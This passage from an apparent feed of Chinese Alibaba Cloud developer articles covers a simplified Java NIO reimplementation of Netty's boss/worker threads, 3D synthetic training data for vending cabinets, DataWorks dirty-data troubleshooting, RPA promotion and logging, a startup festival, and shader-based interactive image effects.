                ByteBuffer buffer = ByteBuffer.allocate(1024);
                //读取数据
                try {
                    ret = channel.read(buffer);
                    failure = false;
                } catch (Exception e) {
                    // ignore
                }
                //判断是否连接已断开
                if (ret <= 0 || failure) {
                    key.cancel();
                    System.out.println("客户端断开连接");
                }else{
                    System.out.println("收到数据:" + new String(buffer.array()));
                    //回写数据
                    ByteBuffer outBuffer = ByteBuffer.wrap("收到n".getBytes());
                    channel.write(outBuffer);// 将消息回送给客户端
                }
            }
        }

        }
          解释:

          a、worker的执行方式基本上面和boss的方式是一样的,只不够是处理方式不一样

          b、这里需要注意的是,都是考虑线程队列执行。

          3)ThreadHandle(线程处理,这里主要是启动需要的东西)

        package com.troy.application.netty;
        
        
        import java.net.InetSocketAddress;
        import java.nio.channels.ClosedChannelException;
        import java.nio.channels.SelectionKey;
        import java.nio.channels.ServerSocketChannel;
        import java.util.concurrent.ExecutorService;
        import java.util.concurrent.atomic.AtomicInteger;
        
        public class ThreadHandle {
        
            public final AtomicInteger bossIndex = new AtomicInteger();
            public static NettyBoss[] bosses;
            public final AtomicInteger workerIndex = new AtomicInteger();
            public static NettyWork[] workeres;
        
            public ThreadHandle(ExecutorService boss,ExecutorService work) {
                this.bosses = new NettyBoss[1];
                //初始化boss线程池
                for (int i = 0; i < bosses.length; i++) {
                    bosses[i] = new NettyBoss(boss,this);
                }
                this.workeres = new NettyWork[Runtime.getRuntime().availableProcessors() * 2];
                //初始化work线程池
                for (int i = 0; i < workeres.length; i++) {
                    workeres[i] = new NettyWork(work);
                }
            }
        
            public void bind(InetSocketAddress inetSocketAddress) {
                try {
                    // 获得一个ServerSocket通道
                    ServerSocketChannel serverChannel = ServerSocketChannel.open();
                    // 设置通道为非阻塞
                    serverChannel.configureBlocking(false);
                    // 将该通道对应的ServerSocket绑定到port端口
                    serverChannel.socket().bind(inetSocketAddress);
                    //获取一个boss线程
                    NettyBoss nextBoss = bosses[Math.abs(bossIndex.getAndIncrement() % workeres.length)];
                    //向boss注册一个ServerSocket通道
                    Runnable runnable = () -> {
                        try {
                            //注册serverChannel到selector
                            serverChannel.register(nextBoss.selector, SelectionKey.OP_ACCEPT);
                        } catch (ClosedChannelException e) {
                            e.printStackTrace();
                        }
                    };
                    //加入任务队列
                    nextBoss.taskQueue.add(runnable);
                    if (nextBoss.selector != null) {
                        //排除其他任务处理
                        if (nextBoss.wakenUp.compareAndSet(false, true)) {
                            //放开阻塞
                            nextBoss.selector.wakeup();
                        }
                    } else {
                        //移除任务
                        nextBoss.taskQueue.remove(runnable);
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }

          解释:

          a、这里采用数组的形式,主要目的是考虑多个看门的,和多个服务客人的线程。为了好控制,好选择,哪一个来执行。

          b、端口的注册,在NettyBoss里面进行初始化的的原理都是一样的。

          4)start

        package com.troy.application.netty;
        
        import java.net.InetSocketAddress;
        import java.util.concurrent.ExecutorService;
        import java.util.concurrent.Executors;
        
        public class Start {
        
            public static void main(String[] args) {
                //声明线程池
                ExecutorService boss = Executors.newCachedThreadPool();
                ExecutorService work = Executors.newCachedThreadPool();
                //初始化线程池
                ThreadHandle threadHandle = new ThreadHandle(boss,work);
                //声明端口
                threadHandle.bind(new InetSocketAddress(9000));
                System.out.println("start");
            }
        }
         

         说明一下流程

          a、初始化boss和work。让boss线程池加入设定第一种boss的selector,并且处于阻塞状态。work的初始化也基本上是一样的,只不过换成了第二种selector线程池,处于阻塞状态。

          b、当线程处理类初始化监听端口的时候。就是选择boss中其中一个selector。声明一个线程先监听,加入boss的线程安全队列中。然后放开boss阻塞,向下执行。线程执行会监听对应端口并阻塞。

          c、当一个客户端接入的时候,boss中的selector会监听到对应端口。然后选择work线程中的一个selector给work分派任务。

          d、最后work中的selector来处理事务。

          4、源码下载:https://pan.baidu.com/s/1pKIxuMf

          5、本代码只是用于理解netty的实现过程,不代表开发思路。其中我为了简化代码,做了很多调整。目的就是压缩代码,方便理解。

        ]]>
        AI 训练数据不够用?支付宝 3D 合成方案揭秘 Fri, 02 May 2025 09:39:04 +0800

        --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

        3.png

        前言

        支付宝视觉售货柜项目是蚂蚁 IOT 的重要产品,用户通过人脸识别打开货柜门,挑选出想要购买的商品后关门,视觉识别算法通过对比开门前后的商品变化判断出用户购买了哪些商品,自动完成结算。“开门即取,关门即走”的体验给用户带来了极大方便。

        1.gif

        图1 3D 合成的百岁山矿泉水

        image.png

        图 2 支付宝视觉售货柜

        在本场景中,由于货品的高密度摆放,视觉货柜所拍摄的图像中商品之间遮挡非常严重,算法需要根据非常有限的图像片段判断是哪个商品。同时算法需要不断迭代以支撑源源不断的上新需求。这就需要我们不仅要采集足够多的数据以解决各种情况,而且要能在很短的时间内及时输出新品的训练数据,否则算法模型的泛化能力将大打折扣。3D 合成数据技术为该项目提升了 3 倍以上的上新速度,降低了 70% 以上的成本,大大缩短了商品上新周期。同时避免了人工打标带来的质量不稳定,保障了训练数据的高质量,将因人工标注数据不可靠造成的风险降低了 90% 以上。图 3 是这个方案的流程图。Part1 对商品建模,并赋予精确的纹理和材质,Part2 对场景进行参数化建模仿真模拟各种各样可能出现的情况,Part3 对场景的每个情况进行渲染获取最终训练数据。

        image.png

        图3 3D数据合成流程

        Part 1 全材质 3D 重建

        3D 重建是利用技术手段对某个物体进行自动几何重建,以及纹理与材质的建模。这个过程有别于 3D 建模师手 K 的过程,可快速准确的恢复某个物体的真实几何和外观信息。3D 重建需要重建的信息包括几何和外观两个部分。当前 3D 重建难以解决的物体是一些反光、透明等材质,尤其是各种材质杂糅在一起的物体。这个难题横旦在项目的初期,是无论后面走哪条技术路线都需要攻克的难题。

        项目组经过艰苦技术攻关自研了一套全材质 3D 建模方案,该方案结合了结构光扫描技术与基于图像特征匹配的多目几何重建技术,通过扫描和 3D 特征匹配的方法实现了全材质物体的 3D 重建,攻克了业界难题。使用全材质 3D 重建技术方案可在 5-10 分钟左右的时间精确重建一个商品的完整几何信息以及初步的外观信息。下面是若干个 3D 重建示例。

        image.png

        图4 重建的 3D 模型

        在获得 3D 几何信息和初步外观信息之后,可根据实际商品的外观对 3D 模型不同部位赋予准确材质模型,这个过程称之为材质重建。一般来讲特定应用场景的商品材质种类是相对有限的,可根据不同业务场景建立一个特定材质库,根据 3D 模型的初步外观信息赋予相应的材质。实际上商品的外观与材质之间的专家经验是可以通过网络学习到的,一些研究工作如:开放环境材质估计、 形状与 SV-BRDF 估计 表明即便是在商品 3D 模型未知、采集环境开放的时候,我们仍然可以学习到材质模型与图像特征的对应关系。

        Part2 参数化场景

        我们通过全材质 3D 重建技术对场景进行建模,之后需要针对场景分布的各种可能性进行基于物理的模拟。在参数化场景部分,我们也需要对场景进行 3D 建模。场景的建模是对所渲染 3D 模型所处的环境进行 3D 建模,包括了场景 3D 重建和光源建模两个部分。场景 3D 重建的过程可以是自动化的使用如扫描仪,或者根据多目几何原理使用 Structure-from-Motion 进行三维重建。而光源重建则是对环境的光源进行建模,使得渲染出来的图像与实际拍摄的图像在外观上融合度较好。

        光照估计

        在渲染流程中,光照对渲染结果的影响至关重要,因此场景参数化需要对光照进行精确的描述。通常来讲,一个场景中的光源往往构成复杂,需要对直接光源的数量、色温、光源形状、乃至频谱范围等进行准确建模,如果场景中有类似液晶显示屏等光源,还需要针对光源的偏振态和频率进行建模,工作量很大且很难自动化。

        image.png

        图5 HDR 合成与渲染结果

        这里我们采用了 HDRI 技术对光源进行重建,该方案是一个简单有效的光源重建和渲染技术,被广泛采用于电影制作中实现与真实场景融合度很高的渲染图像。该技术是一种基于图像的渲染技术,即采集并合成一张高动态范围图像作为光源进行渲染。可以看到这样的光源渲染出来的结果在高光表现方面较好。

        场景建模和物理碰撞检测引擎

        在视觉货柜项目中,我们所面料的场景是一个采用视觉识别技术完成商品交易的无人货柜。货柜需要频繁上新品,且商品之间遮挡严重。商家为了更有效的利用货柜会密集摆放很多商品,很多商品漏出来的画面非常有限,而视觉识别需要检测并识别出所有目标。这就要求视觉算法同学除了想法设法提高模型泛化能力之外,也需要准备充分多样性的数据,尽可能全的覆盖到各种遮挡关系,同时需要覆盖到每个可能出现的商品。

        在参数化场景的过程中,我们使用重力模型、随机力模型等对场景施加变化,并对场景中的各个物体进行碰撞检测和模拟,使得场景中的物体分布接近真实状态。下面这个视频示意如何对倒瓶等异常情况进行仿真模拟。

        2.gif

        图6 物理碰撞模拟

        Part3照片级渲染

        3D 合成数据方案的核心问题是怎样使得渲染出来的图像看起来像照片,而不是人眼看上去很真实就够了。我们需要渲染域与实拍域尽量接近才能真正起到训练数据的作用。一般意义上的渲染场景存在所谓 too perfect 的问题,也就是说渲染出来的图像看上去可能已经非常真实,与人眼实际看到的样子很接近,但却与摄像头实际拍摄的图片不同。作为喂给机器学习模型的训练数据,我们要求最终输出的图片需要复现这些瑕疵,实现所谓的照片级渲染(Photo-realistic rendering)。

        我们尝试了两种思路实现照片级渲染。一种思路是数据驱动的方法,先采集大量实拍图,之后通过 GAN、域迁移、域自适应等方法将渲染域的图像迁移至实拍域。另一种思路是成像模拟的方法,在渲染流程前中后期分别模拟各种摄像头成像的影响,比如渲染过程中根据场景深度不同模拟散焦模糊,对渲染图像卷积同一模糊算子实现因低分辨率引起的镜头模糊等。

        image.png

        图7 渲染图、域迁移图与实拍图

        图7 为采用第一种思路实现的效果。将渲染图、迁移图和实拍图的对比,我们看到迁移图可以较好的实现与镜头相关的图像特征迁移效果,同时也会存在一些 artifacts。此外,作为数据驱动的技术,域迁移的过程可控性较弱,获得好结果的前提是需要有与真实场景分布接近的实拍数据,导致数据采集成本较高。

        不同于上面的数据驱动算法,成像模拟采用纯模拟的方式合成训练数据,可控性强,且效果无天花板,但实现的技术较为复杂。我们采用电影级渲染引擎,并自研了光学摄像头模拟器,实现了一系列因镜头、光电传感器、以及 ISP 图像处理单元的模拟,消除了许多引起渲染域与实拍域差距的因素。下图为成像模拟实现的效果。

        image.png

        图8 成像模拟结果

        写在最后

        在实践中,我们发现 3D 合成数据可以很好的解决许多计算机视觉任务,尤其是在一些无法很好获取 ground truth 的任务中具有非常好的落地前景。毕竟人工智能的目的是代替重复低效的人工,而如果用于训练的数据收集和标注仍然大量依赖人工的话,有时就不免落入到所谓“有多少人工就有多少智能“的尴尬境地。

        同时我们也必须看到目前的 3D 合成数据方案有诸多挑战。首先,不能完全依赖合成数据,总会有一些模拟不到的场景。其次,合成数据方案比较适合标注成本高的任务,对于一些标注成本不高的任务反而会增加成本,比如人脸检测、物体识别分类等任务。再次,一些技术难点,如低成本实现动态场景模拟等尚需进一步攻克。

        image.png

        原文链接:https://mp.weixin.qq.com/s/j46iNSqD_7MQ_hhNMNQCkg

        ]]>
        DataWorks百问百答05:数据同步任务出现脏数据怎么办? Fri, 02 May 2025 09:39:04 +0800

        什么样的数据会判定为脏数据?

        同步任务在任务运行过程中遇到插件的所有异常都会作为脏数据进行统计。

        • 数据类型转换(源端表和目的表字段类型不匹配,大概率)
        • 源端表数据过长
        • 数据源异常
        • Reader/Writer插件异常
        • 数据中有表情符

        我该如何排查?

        同步任务出现报错:脏数据条数检查不通过,限制是[0]条,但实际上捕获了[141]条。
        image.png

        【解决方法一】

        增大脏数据限制条数,扩大阈值容忍脏数据(源端脏数据仍存在同步到目的端,日志显示脏数据记录,任务不会报错)。
        image.png

        【解决方法二】

        根据运行日志定位源端脏数据修复后再同步。
        image.png
        将日志复制出来可快速定位,截取1条记录作为样例分析。本例情况就是源端第47个字段值"java"为String类型,而目的端对应写入字段为Long类型,需更改为匹配的类型。
        image.png

        【案例1】
        只有utf8mb4编码支持同步表情符
        例如:添加JDBC格式的数据源时,需要修改utf8mb4的设置,如jdbc:mysql://xxx.x.x.x:3306/database?com.mysql.jdbc.faultInjection.serverCharsetIndex=45。

        【案例2】
        同步任务脏数据报错 XXXX command denied to user ‘XXXX’
        因为没有数据源权限造成的问题,联系对应DBA申请一下update、insert、delete权限。
        其余Reader/Writer插件问题情况略。


        DataWorks百问百答历史记录请点击查看

        采购季限时!原价2500元现仅需99元,3分钟入门DataWorks标准版6大场景!点击查看

        更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】

        ]]>
        这年头你还在利用编程提升工作效率吗?阿里云 RPA快来了解一下 Fri, 02 May 2025 09:39:04 +0800 测试小明,需要把之前debugger的测试脚本移植到新的测试框架上,因为太耗时耗力,就写了一个可以分析msbuild的proj文件和测试脚本并且生成可以在新系统跑的测试文件。

        资深UI设计师小红,需要某网站上的一些图片信息,由于图片太多,一页一页点击保存套浪费时间,于是利用爬虫技术把网站上的照片都爬下来,分门别类存放好。

        后端网站开发小东,需要网站改版,把数据库里的内容拿出来做更改太麻烦,于是用delphi写个程序比对网页和本地数据库内容是否一致,把不一致的网页内容读下来。

        技术工作者总是会想办法利用自己的编码能力,去设计一些些小程序帮助自己完成一些大量重复、低附加值的工作,让工作场景自动化,实现时间自由,从而致力于更有意义的工作层面上,但是针对那些不会技术的人来说,重新去学习编程,载借助代码去帮助自己完成工作,无论是在时间上还是投入上都不是一个明智的选择,而阿里云RPA给出了一个新的解决方案。
        阿里云RPA全称Robotic Process Automation,中文名为机器人流程自动化,它是一款计算机软件,通过模拟人的操作,帮助完成一些大量重复、有规律的工作流程,帮助企业优化人力资源,赋能企业完成数字化转型。
        阿里云RPA战胜编程的三大显著优势:
        简单易用,上手即可操作
        image.png

        很多人说可以学习编程辅助自己完成日常重复工作,但是当你看到下面这个图片,你确定想要去学习吗?并且学习编程是一个漫长的过程,而学习的初衷不就是因为想要提升工作效率,节约时间吗?image.png
        相反的,阿里云RPA就不会有这些顾虑了,只要懂得基本的电脑操作,就可以完美驾驭阿里云RPA,因为它只需要按照日常工作流程,简单的可视化拖拽设计流程就可以开始工作。
        全面覆盖多行业、多场景、多工种image.png
        通过编码的方式完成工作是有很大的局限性的,首先他只适用于技术人员,另外很难的流程设计需要很大的技术门槛,对技术的要求也是很高的,技术想要完成高难度的工作,设计流程的成本付出都要高出手动完成工作。因此编码工作的方式是很难满足不同行业、不同场景、不同工种的需求的。
        而阿里云RPA就显得随和多了,它拥有可视化、编码两种开发模式,可视化能就满足绝大多数企业的一些需求,而编码模式可以根据公司的不同需求单独设计,简单的说就是私人订制。并且阿里云RPA已经在金融、医疗、政务、制造、零售、通信、教育、物流、银行等业务场景中取得了优异成绩。
        安全可靠,像“外挂”

        image.png
        编码不是万能的,很多工作通过编码的方式来做也是有可能失败的,技术最常用的爬虫技术,在爬取一些数据时,会向服务器频繁的发送请求获取信息,甚至有的时候直接去破解网站以达到目的,稍有不慎把对方网站弄崩溃了,你就是触碰了法律的红线,并且很多网站都有反爬虫机制的。
        而阿里云RPA只是模拟人工点击鼠标、复制、粘贴等的一些正常操作,并且他只运行在软件表面层级,不会侵入影响已有的软件系统的功能与稳定性。通俗的说,RPA是被大家信赖的安全的“外挂”一样的存在。
        Salesforce的一项调查显示,中小型企业员工每天花23%的时间在手工输入数据上。工作中一些大量重复、低附加值的工作浪费了我们很多时间,而阿里云RPA通过自身技术帮助我们提高工作效率、优化人力资源。让我们有一个一个全新的、可靠的解决方案。

        ]]>
        阿里云创新中心启动“2020春季创业节” 亿元大额神券助创新创业 Fri, 02 May 2025 09:39:04 +0800 头部.png

        ​“后疫情时代”,中小企业复苏之路向“新”而生。

        为了更好的服务中小企业,帮助中小企业复工复产,阿里云创新中心整合阿里巴巴集团内外资源、携手创企明星企业、创投机构、优质服务商、权威媒体等合作伙伴共同发放亿元红包资源,共同启动“复苏、新生2020春季创业节“,为创业及就业贡献阿里力量。

        据悉,“2020春季创业节”将在3月到4月为期一个半月的时间里,联动全国60个阿里云创新中心,通过线上线下资源整合,共同发放价值亿元的创业红包资源,并推出超百款福利产品,以及上千个生态企业的解决方案,帮助创业企业降本增效。

        值得关注的是,结合当前创业者信息接收习惯,“2020春季创业节”还将通过云创峰会、云路演、云招聘等多种形式,推出百场直播,打造创业盛宴。

        集结百家伙伴 大额神券助企业降本增效

        阿里云“2020春季创业节”主会场结合创业者经营需求,设置了精选资源大额神券专区、创业爆款专区、初创企业必选专区、企业服务精选专区、地方政府扶持专区和生态企业解决方案专区。

        创业企业不仅可以申领阿里云云产品代金券,一键领取网站定制开发、社区拼团小程序、APP设计开发、媒体推广、知识产权、直播电商平台等大额神券,还可享受公司注册、BP模板、融资对接、营销工具、企业建站等百余款服务低价体验。

        另外千家创企生态解决方案也将加入到本次创业复苏狂欢中,包括新零售、营销中台、智能招聘、无人配送机器人、声学定位检测等。

        联动多地政府 优惠政策助企业复工复产

        据介绍,“2020春季创业节”除了线上主会场的资源之外,还与阿里云遍布全国的60个创新中心进行联动,提供入驻阿里云创新中心即享租金减免等福利。

        其中,阿里云创新中心南京建邺、太原小店、杭州萧山、上海临港、长沙高新区、西安长安等基地,还将为创业者链接多项地方资源扶持政策。

        百场直播 助力企业找人找钱找订单

        同时,今年的春季创业节为中小企业提供了百场直播。通过“云创峰会”、“云路演”、“云招聘”、“云说创企明星汇”、“云游创新中心园区”等栏目,企业可在线观看创新创业前沿趋势、创企明星案例分享、创业导师经典解析。

        且通过直播间可以在线投融资、在线招聘人才、在线观看各地创新中心基地的办公空间,超越空间限制、共创新机遇。

        阿里云创新中心是阿里巴巴集团基于互联网、大数据、人工智能等科技类创新赋能平台。截至目前,已在全国34个城市部署落地了60个阿里云创新中心孵化基地,累计为中小创企提供1.8亿的双创云资源,累计服务了超过50万的创业者及创企。

        阿里云创新中心为创企量身打造“成长期”、“孵化期”、“加速期”三大创服周期体系,为创企对接阿里巴巴生态资源及创投资本,助力全生命周期成长。截止2020年2月,孵化的头部创企估值规模超千亿人民币。

        画板.png

        ]]>
        敲黑板:纯技术分享阿里云RPA机器人的一天 Fri, 02 May 2025 09:39:04 +0800 随着社会的发展,大小城市乃至我们个别人家里都会安装很多双“眼睛”,他记录着社会每时每刻的动态,一旦发生什么事情,我们就可以很方便的调出当时的视频,及时准确的了解具体情况。在软件使用领域也是如此,日志功能就是软件的“行车记录仪”。
        技术部门在对RPA机器人的日常维护中,通常会利用日志快速定位bug的根源、追踪程序执行、数据追踪的过程、以及协助我们进行数据统计、性能分析,并且还可以通过日志来采集运行环境数据。一般在机器人上线之后,一旦发生异常,第一件事就是要弄清楚当时发生了什么。机器人当时做了什么操作、环境有无影响、数据有什么变化、是不是反复发生等,然后再进一步细化问题的根源所在。如果确定是机器人的问题之后就可以针对性的交由开发人员去重现、研究、提出解决方案。这时,日志就给我们提供了第一手的资料。那么我们今天就来看看,我们想要的日志到底在哪里。
        场景一
        在本地查看日志
        1、代码中Print的日志。
        相信各位负责开发实施的伙伴,在开发一个流程中,必然会在流程的各个必要的节点处print一些必要的日志吧。那这些被我们Print出来的日志呢,我们可以直接点开日志,从日志面板中直接查看。很简单很方便哦。
        image.png
        2、查看本地客户端日志。
        print日志呢,是我们在开发流程时预先设置好的。但是,遇到一些流程外的异常情况时该怎么办呢,比如机器人突然自己闪退了。这个时候呢,我们就要查看下本地的机器人客户端日志以及服务端日志。以便我们来排查问题出现的原因。本地客户端日志呢就保存在C:Users用户名AppDataRoamingAliRPAlog目录下,里面保存了我们的机器人每一天的执行日志。
        image.png
        另外,如果小伙伴们遇到一些自己无法解决的问题时,可以联系我们的技术专家,说明好问题出现的时间场景以及现象后,再将C:Users用户名AppDataRoamingAliRPARER目录下的RER包发给我们。这样可以让我们的专家更快速地找到问题出现的原因哦。
        image.png
        场景二
        从控制台查看日志
        从控制台查看代码中Print的日志。
        上面我们介绍了如何查看机器人的本地日志,相信很多小伙伴都GET到了。那么问题来了!!!在实际RPA应用中,很多场景涉及到的是无人值守以及服务型机器人,很多时候我们无法直接访问机器人所在的设备,也就无法直接查看机器人本地的日志了。遇到这种情况呢,不要慌,我们还可以通过控制台,直接查看相应机器人运行流程代码中Print的日志。通过登录控制台-计划任务管理-选择无人值守/服务型任务-操作-查看批次信息-查看运行结果-查看运行日志,就可以看到我们想要的日志啦!本地&控制台双保险!是不是很棒棒呀~~
        下面步骤图甩起来:
        image.png
        image.png
        image.png
        image.png

        ]]>
        动动动动起来了!可交互内容玩法技术揭秘 Fri, 02 May 2025 09:39:04 +0800 屏幕快照 2020-03-25 下午5.45.36.png

        作者|白小康(少尘 )
        出品|阿里巴巴新零售淘系技术部

        传统内容增强通过滤镜、标签、贴纸等手段丰富和提升内容的表现力,在抖音快手短视频大行其道的信息快速消费时代,如何通过有趣的玩法,好玩的特效降低用户的创作成本,提高内容表现形态和张力,是目前内容社区可以借鉴和思考的方向之一。

        什么是可交互内容

        在千篇一律的社区内容Feed流里,Timeline上的一切都是机械的呈现,通过交互创新的玩法来实现内容卡片的个性化、场景化,给用户更多新鲜和趣味的互动方式。对用户来说,内容不是死的,是沉浸式的,可交互的,可把玩的,以给用户新颖的体验。

        可交互玩法是一种视觉强化的方式,通过交互创新进行内容重建,赋予静态内容更多的空间表现力。主要手段有:
        1、提升维度:深度图,维度重建;裸眼3D,维度突破。
        2、视角变换:视觉图,视角转换;形变图,平面变换。
        3、整体相关性形变,包括人物,年龄,妆容等。
        4、局部相关性形变,局部晃动,局部流动。
        5、其他变换,物理变换,粒子变换,天气变换。
        6、场景合成,场景增强等。可以在图片场景,相册场景,视频场景结合具体案例进行玩法创新。

        具体案例介绍

        ▐ 深度图

        人物,静物,风景,通过对二维图片进行深度信息提取,再根据陀螺仪进行深度视角变换,产生一种伪 3D 交互效果,经典案例如 facebook 的 3D 图片。

        1.gif

        玩法解析:

        1、先根据原图提取深度信息图,iOS的双目可以拍出带深度信息的图片,也可以使用深度学习技术直接从原始图片中提取深度信息。

        屏幕快照 2020-03-18 下午1.45.52.png

        2、使用陀螺仪输出的位姿角attitude表征用户视角的变化,根据对应的深度图,以及由pitch和roll两个位姿角确定的视角变化值。

        未标题-6.gif

        核心实现:根据深度图信息,结合焦点和深度,随着陀螺仪产生像素偏移变化视角的效果。

        vec4 dep = texture2D(depthMap, vTextCoord);
        vec2 disCords = vTextCoord + offset * (dep.r * -1.0 + params.x) * params.y;
        gl_FragColor = texture2D(colorMap, disCords);

        效果展示:

        未标题-8.gif

        玩法意义:

        深度图其实是一种伪 3D 特效(2D-plus-depth),根据陀螺仪轻微旋转视角,给浏览者一种身临其境的感觉,让千篇一律的静态图片内容中出现一些充满惊喜的交互,让图片不仅仅是滑动浏览消费,视角变换带来的感官让浏览者身临其境,富有控制欲,可以反复把玩每一个有趣的细节。

        ▐ 晃动玩法

        根据局部圈选的可晃动区域,让内容部分在feed流中跟随手势产生抖动效果的交互,咖啡、蛋糕、布丁、煎蛋、脸蛋,宠物,还有各种新奇有趣的创意玩法。

        玩法解析:

        1、通过控制点生成的贝塞尔曲线圈选可晃动区域。
        2、根据每个点到中心的位置随着陀螺仪运动而产生像素偏移。
        3、随着与中心点距离的增加,位移呈非线形递减,偏移幅度随时间逐步衰减。

        1.gif

        核心实现:根据点到偏移中心的位置,结合陀螺仪的晃动产生周期性像素偏移:

        vec2 offset = getOffset(sketch.PointLT, sketch.PointRT, sketch.PointRB, sketch.PointLB, sketch.Center, sketch.Time, TextureCoordsVarying, sketch.Direction, sketch.Amplitude);
        vec4 mask = texture2D(Texture, TextureCoordsVarying + offset);
        gl_FragColor = vec4(mask.rgb, 1.0);

        效果展示:

        未标题-17.gif

        玩法意义:

        通过对局部内容的形象化加工,在浏览消费时产生更加真实有趣体感,能够比标签滤镜更能体现出素材内容的核心表达力。通过手势晃动引起内容晃动,让用户对内容细节更加有体感。

        ▐ 流动玩法

        蓝天白云,海边天空,头发毛绒、水流、沙滩、衣服裙摆、烟雾等材质都通过动态化的流动,让内容更加生动和具有表现力。

        1.gif

        玩法解析:

        1、通过触摸手势采集流体方向,这些是变换过程中匹配的动点。
        2、对图片内容中静止不动的部分进行固定锚点,防止非流体部分参与运动变换。
        3、通过三角刨分和仿射变换不断更新进度,使整个图片运动起来。

        1.gif

        核心实现:通过三角刨分一一对应的特征点进行仿射变换

        //1、根据输入的特征点进行三角刨分
            Rect rect(0, 0, size.width, size.height);
            Subdiv2D subdiv(rect);
            for (vector<Point2f>::iterator it = points.begin(); it != points.end(); it++)
                    subdiv.insert(*it);
            std::vector<Vec6f> triangleList;
            subdiv.getTriangleList(triangleList);
        //2、通过仿射变换对边界框内所有像素点进行仿射投影,最后根据进度加权求的最终这个三角形的像素值
            applyAffineTransform(warpImage1, img1Rect, t1Rect, tRect);
            applyAffineTransform(warpImage2, img2Rect, t2Rect, tRect);
            Mat imgRect = (1.0 - alpha) * warpImage1 + alpha * warpImage2;
            multiply(imgRect, mask, imgRect);
            multiply(img(r), Scalar(1.0, 1.0, 1.0, 1.0) - mask, img(r));
            img(r) = img(r) + imgRect;

        效果展示:

        未标题-9.gif

        玩法意义:

        动态图能够更生动地展示图片隐含的内容信息,让视觉更加立体和饱满。

        ▐ 视角图

        一种全新的用户交互方式,比单张图片更丰富,比短视频更简单,用户主动掌控视角,释放想象力,包括时光轮,长曝光,小动画,3D 展示,全景预览等等特效。

        这种扭动手机以看到不同照片的交互,能让浏览者产生一种微妙的感觉。他们会想:‘我能控制这个!’或者‘我可以看我想看的任何一张图片!‘ 把控制的主动权交给用户是件很简单的事情,提高图片把玩性,增加内容的消费形式。

        1.gif

        玩法解析:

        1、拍一个6S短视频,每1s截取4帧,250ms获取一张图,跟拍照类似,转一圈自动拍摄;或者独立拍摄24张图,这些照片可以是关联的,也可以是相对独立的,也不必是在同一时间拍摄的。用户若想营造出一种时光飞逝或者场景的流转装饰过程的感觉,完全可以将老照片及新照片放在一起进行展示。
        2、根据手机陀螺仪的角度变换更换不同视角的照片。

        效果展示:

        未标题-11.gif

        **玩法意义:
        **
        跟静图相比:细节表达,内容更丰富,更立体,故事性、趣味性、互动性;
        跟视频相比:内容表达,更轻量级,交互更有趣,没有时长的概念可以反复把玩;
        跟动图相比 :心情表达,轻量级,可交互,趣味性得到延伸,能够承载更大的场景而不是表情动态图,可以慢慢仔细观察每个视角的细节,让图片更场景化,具有上下文和故事性。比如,时光轮:比如动态展示房屋的装修前/装饰后的布局过程,室内灯光冷到暖的变化过程。3D展示:对室内台灯装饰挂件等 3D 展示效果,任意角度观看细节。场景预览:全景图预览模式,可以转动手机看到整间屋子里的格局布局,任意角度暂停观察。

        ▐ 场景增强

        不同于实时视频流里的 VR 增强现实,场景增强是作为一种在静态内容中通过场景合成,营造更多的与场景融合的元素,以增强整个画面的动态感和微妙氛围。水气、水珠、蜡烛、闪光灯、火粒子,烟雾、花草树木等场景增强,还可以与内容和活动结合出可互动的节日氛围和场景玩法以及其他乐趣性的场景化玩法,例如烟花、圣诞、雪花等氛围,吸引用户互动。

        1.gif

        玩法解析:

        1、通过视频文件对合成场景进行加工,包含原场景和其透明通道的遮罩层。
        2、通过预处理将原图通过遮罩层与真实场景根据编辑的位置进行融合。

        未标题-18.gif

        核心实现:通过将预处理将遮罩层渲染到FBO预处理,再根据透明度做场景合成。

        if(uTextureType==0){//仅输出上半部分到FBO
         vec2 topTexCoord=vec2(vTexCoord.x,vTexCoord.y*0.5);
         gl_FragColor=texture2D(sTexture, topTexCoord);
        }else if(uTextureType==1){ //仅输出下半部分FBO
           vec2 botTexCoord=vec2(vTexCoord.x,1.0-mod(1.0-vTexCoord.y*0.5,0.5));
           gl_FragColor=texture2D(sTexture, botTexCoord);
        }else if(uTextureType==2){//根据遮罩层合并FBO到主屏
            vec4 bgColor=texture2D(samplerBg,vTexCoord);
            vec4 topColor=texture2D(samplerTop,vTexCoord);
            vec4 btmColor=texture2D(samplerBtm,vTexCoord);
            gl_FragColor=bgColor * (1.0-btmColor.r) + topColor * btmColor.r;
        }

        效果展示:

        未标题-12.gif

        玩法意义:

        通过场景合成的方式,可以扩展出成千上万的有趣玩法,让内容的额外表现力更加丰富。

        ▐ 天气仿真

        雾气,阳光、白云、雪花、水滴地面、水雾玻璃、水纹、彩虹、气泡,星空等仿真天气特效。

        玩法解析:

        通过纯 shader 实现仿真天气效果,和原内容进行混合。

        效果展示:

        未标题-13.gif

        玩法意义:

        通过原生glsl实现各种高帧率仿真天气特效,成本低,易于线上验证和发布。部分天气效果配合陀螺仪还可以产生有趣的交互玩法。

        ▐ 特效玩法

        转场玩法:图片切换,视频转场特效
        抖音特效:故障、闪烁、灵魂出窍等抖音特效
        粒子系统:雪花、彩带、光圈等标准plist粒子文件

        玩法解析:

        通过转场变换特效和粒子系统,将抖音里的特效玩法迁移到内容社区中。

        效果展示:

        未标题-14.gif

        玩法意义:

        将短视频里常见的特效玩法,放到内容社区,动与静的灵感碰撞,创造出更多有趣的玩法。

        ▐ 人物相关:

        抖音大火的人脸特效包括变老变年轻,人脸变换,宝宝特效,也可以在内容社区通过合理玩法结合起来。

        ★ 人脸变换

        多张不同时期的图片人脸变换产生时光流逝的效果。

        玩法解析:

        通过人脸关键点进行三角刨分,再多图间进行仿射变换,产生抖音的人脸变换的玩法。

        1.png

        效果展示:

        未标题-16.gif

        玩法意义:

        相比单独的多张自拍,更有趣味性和可玩性。脱离抖音的视频环境,人物图集的变换玩法也可以搞点有趣的事情,可以跟陀螺仪结合或者图集自动播放:人脸或者宠物图集的动态转场效果,例如作为尝鲜功能让用户解锁,降级时还是正常图片 Gallery。

        ★ 眨眼交互

        当图片收到点赞之后,和图片内的人物会有互动,比如眨眼的 BulingBuling 特效,丰富点赞的情感和交互。从交互细节上增强用户体感,给用户更多的正反馈。

        1.gif

        玩法解析:

        通过人脸识别关键点求出人眼位置,再通过局部纹理挤压变形实现眨眼效果。

        效果展示:

        1.gif

        玩法意义:

